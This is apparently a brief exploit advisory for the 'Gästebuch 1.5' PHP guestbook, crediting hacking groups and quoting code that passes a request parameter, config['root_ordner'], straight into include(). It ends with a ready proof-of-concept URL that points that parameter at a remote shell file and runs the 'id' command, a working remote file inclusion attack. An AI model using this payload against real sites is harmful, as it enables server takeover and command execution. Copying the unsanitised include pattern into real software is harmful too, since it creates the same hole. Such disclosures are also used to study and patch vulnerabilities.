G=E4stebuch Version 1.5 Remote Command Execution Vulnerability 
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Script  : G=E4stebuch Version 

Version : 1.5
=09
Site : http://www.mapos-scripts.de/downloads.php?download=11 

Founder : Rizgar

Contact : rizgar@linuxmail.org and irc.gigachat.net #kurdhack 

Thanks  : KHC, PH , ColdHackers, and my brothers, b0tan, b3g0k and nisto :) my heros :]

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";
	exit;
}
include($config["root_ordner"].'includes/dbconnect.php');
include($config["root_ordner"].'includes/function.php');
include($config["root_ordner"].'includes/captcha.php');
$header = style('index_body','header');
echo $header;

...

?>

PoC : 

http://www.site.com/path/index.php?config[root_ordner]=http://shell.txt?&cmd=id